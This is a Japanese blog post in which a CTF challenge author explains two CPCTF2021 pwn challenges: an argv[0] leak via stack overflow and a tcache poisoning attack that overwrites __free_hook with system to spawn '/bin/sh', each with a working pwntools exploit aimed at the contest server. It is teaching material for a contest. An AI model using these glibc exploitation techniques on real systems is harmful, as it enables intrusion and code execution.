feature image

2021年4月26日 | ブログ記事

CPCTF2021 作問者writeup by zassou

はじめに

21Mのzassouです。普段は機械学習、特にGANという画像生成や画像変換に関する手法について研究や趣味で扱っています。
twitter : https://twitter.com/zassouEX
github : https://github.com/zassou65535

4/25にCPCTFが開催され、非常に多くの方にご参加頂きました。皆さんありがとうございます。
今回はpwnに関して

の2問を作問させていただきました。本記事ではこれらのwriteupを書いていきます。

Pwn/leak_flag

概要

arg[0]リークに関する問題

checksec

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

※No PIEなのでこの実行ファイルのアドレスは不変

動作検証

実行するとこのような文字列が出力され、入力を受け付ける状態になります。

flag?>>

普通に何かしら文字列を入力すると何事もなく終了してしまいますが、一定より長い文字列を入力した際にはstack smashing detectedと出て終了します。

tr_1

さらに長い文字列を入力した際にはSegmentation faultが出ます。

脆弱性

IDA64で実行ファイルを開きます。
img1
read関数で最大0x3a8バイト分[rbp+buf]から順にバイト列を読み込んでますが、プログラムの冒頭にある通りbuf=-0x70と定義されているため0x70文字以上の入力を与えるとバッファオーバーフローが起きます。
今回の場合はCanaryが有効なためオーバーフローを検知した時点でプログラムが終了します。
(しかし後述するようにこれを利用して任意のアドレスの内容を表示可能です。)

続いてread_flag関数の中を見ます。
img2
実行ファイルと同じディレクトリにflag.txtというファイルが存在しているようで、これを読み込んでいます。

このflagという変数について調べます。
img3
この変数は.bss領域(推測可能なアドレス)に配置されています。
ここ(0x601060)から数バイト分うまく読み出すことができればflag.txtの内容が手に入ります。

exploit

結論としてはarg[0]を格納している領域に0x601060を書き込み、stack smashing detectedを起こせば良いです。

この問題を解く上で必要になるarg[0]リークについて解説します。

arg[0]リーク

libc-2.23.so以前に存在する脆弱性で、libcの出力するエラーメッセージが読める状態なら利用できます。(本問題においては環境変数にLIBC_FATAL_STDERR_=1と指定することで、network越しでもエラーメッセージが全てstderrに流れてくるようになっているため読めます。)

一定より長い文字列を入力した際には

*** stack smashing detected ***: ./leak_flag terminated

という表示が出て終了すると説明しましたが、この./leak_flagという文字列はプログラム実行時に自動的に引数として与えられる、実行ファイル名arg[0]に由来します。
本来であればarg[0]を格納しているべきアドレスに、ある文字列の先頭アドレスを上書きした上でstack smashing detectedが起きると./leak_flagと表示すべき箇所にその文字列が表示されてしまうのがこの脆弱性です。

arg[0]はスタックよりも後ろの位置にあるためバッファオーバーフローで書き換えを狙うことができます。

後ろにあるということがわかれば後は入力で0x0000000000601060が何十回か繰り返された文字列を送れば詳しいarg[0]の位置が分からなくてもフラグを奪取可能。
ただしあまりに文字列が長すぎるとstack smashing detectedではなくSegmentation faultが出てしまい、リークができないので注意。

exploit code

#encoding:utf-8
from pwn import * 

p = remote('160.251.17.135',10011)

p.recvuntil("flag?>>")
p.sendline(p64(0x601060)*60)

print(p.recvall())

実行例
tr_2

Pwn/limited

概要

malloc、tcacheに関する問題

checksec

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

動作検証

tr_2-1

0と入力するとデータの追加、1と入力するとoffsetという数字を聞かれ、何かが実行されます。
操作のたびにremainと表示されている数が減っていき、remain=1と表示されている状態で操作0 or 1を完了するとプログラムが終了します。
また、プログラムの実行時にprintfのアドレスが表示されていてここからlibcの推定が可能です。

脆弱性

IDA64で解析します。まず、1と入力された際に実行されるdel関数から見ます。
img1-1

次に、0と入力された際に実行されるadd関数を見ます。
重要な箇所は以下の処理です。
img2-1

addでchunkを確保、確保した結果返ってきたアドレスをlast_mallocに格納しています。
delではoffset:でfreeする位置を指定できます。
例えば、offset:で0を入力するとlast_malloc+0に相当する位置、すなわちmallocで得たアドレスそのままがfreeの対象となり、-30を入力すればlast_malloc-30に相当する位置がfreeの対象となります。
このことから、ヒープ内の好きな場所をfreeすることで、そこをtcacheのリンクリストにつなげられることが分かります。

exploit

exploitの大まかな流れは次のようになります。

  1. tcacheの管理領域をfree
  2. tcacheのcountsとentriesを書き換え、free_hookに書き込める状態を作る
  3. free_hookのアドレスに対してsystem関数のアドレスを書き込む
  4. サイズ0x20のchunkを確保、文字列"/bin/sh\x00"を書き込む
  5. 4.で確保したchunkに対しfreeを実行

tcache_perthread_struct

tcache_perthread_structとはmallocを用いて自動的にヒープの先頭に配置される構造体で、以下のように構成されています。
img3-1
img4
引用元 : https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c

tcache_perthread_struct構造体に含まれる変数について説明します。

tcache_perthread_struct(以降では単にtcacheと呼称する)自体は、大きさ0x250[byte]のchunkとしてヒープ上に配置されています。
実際にこれがヒープに配置された直後の様子をgdbで確認すると次のようになっています。
img5
chunkサイズの下位1[bit]は、heap上で前方に配置されているchunkが使用中、もしくは前方にchunkがなければ1です。tcacheより前方にはchunkがないので0x251と表示されています。

1. tcacheの管理領域をfree

まず適当な大きさのchunkを確保します。last_mallocには今の時点でこのchunkのアドレスが格納されます。
その状態でoffset:で-592(=-0x250)を指定すると、tcacheが格納されているchunkそのものに対してfreeを実行できます。

実行すれば、サイズ0x250で場所が0x555555757010のchunk(本当はtcacheであるはずの領域)がtcacheの対応するサイズのリンクリストにキャッシュされます。

img7

2. tcacheのcountsとentriesを書き換え、free_hookに書き込める状態を作る

さらにこの状態でmallocでサイズ0x250バイトのchunkを確保すると0x555555757010が返ってくるため、tcacheに任意のバイト列を書き込み可能になります。

このことを利用して下図のように0x20[byte]に相当する場所以外を、free_hookのアドレスがキャッシュされているような状態に書き換えます。

img8

3. free_hookのアドレスに対してsystem関数のアドレスを書き込む

続いてfree_hookのアドレスに対してsystem関数のアドレスを書き込みます。tcacheを上のような状態にした上でmallocを呼び、0x20[byte]以外の大きさのchunkを確保するとキャッシュされていたfree_hookのアドレスが返ってくるため、そこにsystem関数のアドレスを書き込みます。

4. サイズ0x20のchunkを確保、文字列"/bin/sh\x00"を書き込む

0x20[byte]のchunkを確保し文字列"/bin/sh\x00"を書き込みます。この時点でlast_mallocにはこのchunkを指すアドレス(つまり文字列"/bin/sh\x00"を指すアドレス)が格納されます。

5. 4.で確保したchunkに対しfreeを実行

その状態でfree(last_malloc)を呼ぶとsystem("/bin/sh\x00")が起動、シェルを奪取できます。

exploit code

#encoding:utf-8
from pwn import * 

p = remote('160.251.17.135',10012)

def add(size,contents):
	#print("add(size={},contents=\"{}\")".format(hex(size),contents))
	p.recvuntil("choose operation:")
	p.sendline("0")
	p.recvuntil("size:")
	p.sendline(str(size))
	p.recvuntil("content:")
	p.sendline(contents)

def delete(offset):
	#print("del({})".format(hex(offset)))
	p.recvuntil("choose operation:")
	p.sendline("1")
	p.recvuntil("offset:")
	p.sendline(str(offset))

#libc-2.27.soの読み込み
libc227 = ELF('./libc-2.27.so')
#libcのアドレスを算出
libc_base = int(p.recvline()[-15:-1],16) - libc227.symbols['printf']
print("libc_base="+hex(libc_base))

#適当なサイズのchunkを確保
add(0x38, "A"*0x18)
#tcacheの管理領域をfree
delete(-0x250)

#tcacheのcountsを書き換えるための部位を構成
fake_tcache = b'\x00'
fake_tcache += b'\x01' * 0x3f
#tcacheのentriesを書き換えるための部位を構成
fake_tcache += p64(0)
fake_tcache += p64(libc_base + libc227.symbols['__free_hook']) * 0x3f
#tcacheの管理領域を丸ごと上書きする
add(0x248, fake_tcache)

#free_hookのアドレスに対してsystem関数のアドレスを書き込み
add(0x28, p64(libc_base + libc227.symbols['system']))
#ヒープのどこかに0x20[byte]のchunkが作成される + system関数の引数をセット 
add(0x18, "/bin/sh\x00")
#作成したchunkに対しfreeを実行、free_hookを呼ぶ
delete(0)

p.interactive()

実行例
tr_1-1

参考

https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c

おわりに

CPCTF2021に参加していただきありがとうございました。pwnの作問はとても面白く、それだけでなく非常にためになる部分もありました。

運営や開発、作問など、CPCTFに携わった方々お疲れ様でした。

zassou icon
この記事を書いた人
zassou

機械学習で画像を生成したり変換したりしてます

この記事をシェア

このエントリーをはてなブックマークに追加
共有

関連する記事

ERC20トークンを用いた宝探しゲーム(真)の提案【アドベントカレンダー2018 10日目】 feature image
2018年11月3日
ERC20トークンを用いた宝探しゲーム(真)の提案【アドベントカレンダー2018 10日目】
Azon icon Azon
2021年8月12日
CPCTFを支えたWebshell
mazrean icon mazrean
2021年5月19日
CPCTF2021を実現させたスコアサーバー
xxpoxx icon xxpoxx
2023年4月27日
Vulkanのデバイスドライバを自作してみた
kegra icon kegra
2024年4月14日
Spotifyのクライアントを自作しよう
d_etteiu8383 icon d_etteiu8383
2021年12月8日
C++ with JUCEでステレオパンを作ってみた【AdC2021 26日目】
liquid1224 icon liquid1224
記事一覧 タグ一覧 Google アナリティクスについて 特定商取引法に基づく表記